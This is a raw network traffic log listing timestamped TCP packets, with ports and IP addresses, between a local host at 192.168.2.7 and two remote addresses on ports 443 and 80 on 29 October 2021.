Oct 29, 2021 20:30:02.999315023 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999396086 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999444962 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999488115 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999499083 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999519110 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999547005 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999551058 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999563932 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999622107 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999666929 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999675035 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999680042 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:02.999716043 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:02.999759912 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.000231028 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.000322104 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.000730038 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.000766039 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.000777960 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001153946 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001195908 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001249075 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001259089 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001287937 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001312017 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001317024 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001328945 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001379013 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001395941 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001409054 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001411915 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001420021 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001452923 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001461029 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001507044 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001513004 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.001549006 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.001652002 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002032995 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002085924 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002124071 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002131939 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002161980 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002182007 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002571106 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002619982 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002655029 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002660990 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002698898 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002716064 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002717972 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002727032 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002774000 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002790928 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002798080 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002821922 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002840996 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002846003 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002862930 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002887964 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002893925 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002912998 CEST	443	49794	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.002935886 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.002963066 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.034738064 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.035135031 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.041416883 CEST	49794	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.512315035 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.512367964 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.512509108 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.514250040 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.514271021 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.552176952 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.556785107 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.596863031 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615648985 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615740061 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615782022 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615823984 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615850925 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.615864038 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615876913 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615897894 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.615933895 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.615941048 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.615988016 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616028070 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616065025 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616077900 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616086960 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616112947 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616134882 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616173029 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616209984 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616218090 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616225004 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616256952 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616277933 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616317034 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616332054 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616337061 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616377115 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616378069 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616388083 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616447926 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616446972 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616458893 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616499901 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616508007 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616553068 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616595030 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616626978 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616646051 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616655111 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616681099 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616688967 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616720915 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616740942 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616746902 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616779089 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616801023 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616806984 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616838932 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616872072 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.616878033 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616919994 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616954088 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.616991043 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617023945 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617063046 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617063999 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.617074966 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617132902 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617172956 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617204905 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.617212057 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.617254972 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633043051 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633107901 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633157969 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633176088 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633192062 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633213997 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633244991 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633249998 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633275986 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633286953 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633292913 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633327961 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633335114 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633383989 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633397102 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633404970 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633444071 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633464098 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633516073 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633522034 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633532047 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633626938 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633651018 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633657932 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.633681059 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.633713007 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.649749994 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.649837017 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.649859905 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.649868965 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.649884939 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.649975061 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.649985075 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.649991035 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650003910 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650079966 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650089979 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650100946 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650171041 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650182009 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650196075 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650275946 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650285006 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650302887 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650352955 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650362015 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650372028 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650408030 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650454044 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650456905 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650464058 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650506020 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650583029 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650629997 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650645971 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650655985 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650711060 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650722027 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650780916 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650803089 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650810957 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650857925 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650865078 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650907040 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650916100 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650926113 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.650983095 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.650990009 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651020050 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651058912 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651072979 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651084900 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651118994 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651164055 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651213884 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651221991 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651252031 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651308060 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651319981 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651328087 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651369095 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651381016 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651388884 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651432991 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651444912 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651493073 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651500940 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651505947 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651541948 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651555061 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651582956 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651632071 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651638985 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651649952 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651690006 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651699066 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651705980 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651736021 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651741028 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651767015 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651773930 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651814938 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651832104 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651890993 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651916981 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651923895 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651941061 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.651952028 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651984930 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.651992083 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652024984 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.652065039 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.652182102 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652189016 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.652224064 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652261019 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.652271032 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652282000 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652323008 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.652331114 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.652374983 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.654607058 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.654885054 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672000885 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672035933 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672106981 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672125101 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672139883 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672168970 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672180891 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672190905 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672233105 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672262907 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672266006 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672285080 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672310114 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672333002 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672341108 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672379971 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672389030 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672416925 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672476053 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672485113 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672547102 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672585964 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672601938 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672609091 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672672987 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672684908 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672724009 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672760963 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672768116 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672816038 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672831059 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672884941 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672895908 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672902107 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672945976 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.672962904 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.672970057 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.673006058 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.673012018 CEST	443	49795	162.159.135.233	192.168.2.7
Oct 29, 2021 20:30:03.673249960 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.673268080 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.673638105 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:03.679472923 CEST	49795	443	192.168.2.7	162.159.135.233
Oct 29, 2021 20:30:05.076975107 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.128806114 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.129201889 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.129215956 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.129220963 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.210537910 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.210702896 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.218255997 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.270071030 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.316781044 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.370224953 CEST	80	49797	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.370341063 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.370523930 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.371540070 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.425569057 CEST	80	49797	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.425981998 CEST	80	49797	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.453484058 CEST	80	49797	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:05.453628063 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.453994036 CEST	49797	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:05.507354975 CEST	80	49797	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.140844107 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.194361925 CEST	80	49798	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.194489956 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.196230888 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.196250916 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.276673079 CEST	80	49798	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:06.276798010 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.297983885 CEST	49798	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:06.351598024 CEST	80	49798	185.98.87.159	192.168.2.7
